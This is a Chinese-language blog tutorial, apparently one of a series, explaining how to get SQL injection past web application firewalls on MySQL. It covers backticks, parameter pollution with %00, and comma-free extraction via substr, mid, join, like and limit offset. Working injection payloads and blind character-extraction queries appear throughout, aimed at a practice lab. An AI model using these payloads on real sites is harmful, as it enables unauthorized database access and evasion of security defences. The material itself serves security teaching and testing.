当前位置:网站首页>SQL 注入繞過(二)
SQL 注入繞過(二)
2022-06-28 02:21:00 【Aτθ】
一、反引號繞過
在 mysql 可以使用 `這裏是反引號` 繞過一些 waf 攔截。字段可以加反引號或者不加,意義相同。
insert into users(username,password,email)values('test','123456','[email protected]');
insert into users(`username`,`password`,`email`)values('test','123456','[email protected]');
\N'union distinct select 1,(select version() from `users` limit 1)--+&submit=1
二、脚本語言特性繞過
1、介紹
在 php 語言中,id=1&id=2 後面的值會自動覆蓋前面的值,不同的語言有不同的特性。可以利用這點繞過一些 waf 的攔截。
id=1%00&id=2 union select 1,2,3
有些 waf 會去匹配第一個 id 參數1%00, %00 是截斷字符,waf 會自動截斷 從而不會檢測後面的內容。到了程序中,id 就等於 id=2 union select 1,2,3 從繞過注入攔截。
其他語言特性
2、實操1
3、實操2
?name=vince%00&name=' union select 1,database()--+&submit=1
三、逗號繞過
目前有些防注入脚本都會逗號進行攔截,例如常規注入中必須包含逗號。
select * from users where id=1 union select 1,2,3,4;
一般會對逗號過濾成空,select * from users where id=1 union select 1 2 3 4;這樣SQL 語句就會出錯。所以,可以不使用逗號進行 SQL 注入。
繞過方法如下:
1、第一種方式:substr 截取字符串
查詢當前庫第一個字符:
select(substr(database() from 1 for 1));
查詢 p 等於 select(substr(database() from 1 for 1)),頁面返回正常。
select * from users where id=1 and 'p'=(select(substr(database() from 1 for 1)));
可以進一步優化 m 換成 hex 0x6D,這樣就避免了單引號。
select * from users where id=1 and 0x70=(select(substr(database() from 1 for 1)));
?name=vince' and (select(substr(database() from 1 for 1)))='p'--+&submit=1 ?name=vince' and (select(substr(database() from 1 for 1)))='x'--+&submit=1
2、第二種方式:mid 截取字符串
這個 min 函數跟 substr 函數功能相同,如果 substr 函數被攔截或者過濾可以使用這個函數代替。
select (mid(database() from 1 for 1));
select * from users where id=1 and 'p'=(select(mid(database() from 1 for 1)));
select * from users where id=1 and 0x70=(select(mid(database() from 1 for 1)));
3、第三種方式: 使用 join 繞過
使用 join 自連接兩個錶:
union select 1,2 #等價於 union select * from (select 1)a join (select 2)b,其中a 和 b 分別是錶的別名。
select * from users where id=-1 union select 1,2,3,4;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select 3)c join(select 4)d;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select user())c join(select 4)d;
這裏也沒有使用逗號,從而繞過 waf 對逗號的攔截。
4、第四種方式:like 繞過
使用 like 模糊查詢 select user() like '%r%'; 模糊查詢成功返回 1,否則返回 0
找到第一個字符後繼續進行下一個字符匹配。從而找到所有的字符串,最後就是要查詢的內容,這種 SQL 注入語句也不會存在逗號。從而繞過 waf 攔截。
5、第五種方式:limit offset 繞過
SQL 注入時,如果需要限定條目可以使用 limit 0,1 限定返回條目的數目,limit 0,1 返回條一條記錄。如果對逗號進行攔截時,可以使用 limit 1 默認返回第一條數據。也可以使用 limit 1 offset 0 從零開始返回第一條記錄,這樣就繞過 waf 攔截。
边栏推荐
- SQL 注入绕过(三)
- Evaluation - rank sum ratio comprehensive evaluation
- Cesium Click to draw polygons (dynamically draw polygons)
- pytorch_ lightning. utilities. exceptions. MisconfigurationException: You requested GPUs: [1] But...
- Locust performance test - parameterization, no repetition of concurrent cyclic data sampling
- 网络爬虫是什么
- Numpy----np. reshape()
- The interviewer asked: can you simulate the new operator of JS
- 引用层reboot后的大体流程
- 系统管理员设置了系统策略,禁止进行此安装。解决方案
猜你喜欢
匿名挂载&具名挂载
类的初始化与回调的用法
[embedded foundation] memory (cache, ram, ROM, flash)
Jenkins - Pipeline 概念及创建方式
Appium自动化测试基础— 补充:App的包名(appPackage)和启动名(appActivity)
Jenkins - Pipeline concept and creation method
Figure out the difference between MIT, BSD and Apache open source protocols
Self supervised learning and drug discovery
【牛客討論區】第四章:Redis
Google Earth engine (GEE) -- an error caused by the imagecollection (error) traversing the image collection
随机推荐
Data analysts too hot? Monthly income 3W? Tell you the true situation of this industry with data
[embedded foundation] serial port communication
要搞清楚什么是同步,异步,串行,并行,并发,进程,线程,协程
pytorch_ lightning. utilities. exceptions. MisconfigurationException: You requested GPUs: [1] But...
指南针股票开户是会有什么风险吗?指南针开户安全吗
Adobe Premiere Basics - common video effects (corner positioning, mosaic, blur, sharpen, handwriting tools, effect control hierarchy) (16)
Jenkins - accédez à la variable de paramètre personnalisée Jenkins, en traitant les espaces dans la valeur de la variable
style中的scoped属性和lang属性
9. Openfeign service interface call
【牛客討論區】第四章:Redis
TD Hero 线上发布会|7月2日邀你来
ionic4实现半星评分
Differences between cesium polygon extrudedheight and height
类的初始化与回调的用法
Numpy----np.meshgrid()
Numpy----np. meshgrid()
Fundamentals of scala (3): operators and process control
How to optimize the "message" list of IM
Evaluation - rank sum ratio comprehensive evaluation
外盘期货哪里可以开户?哪个平台出入金比较安全?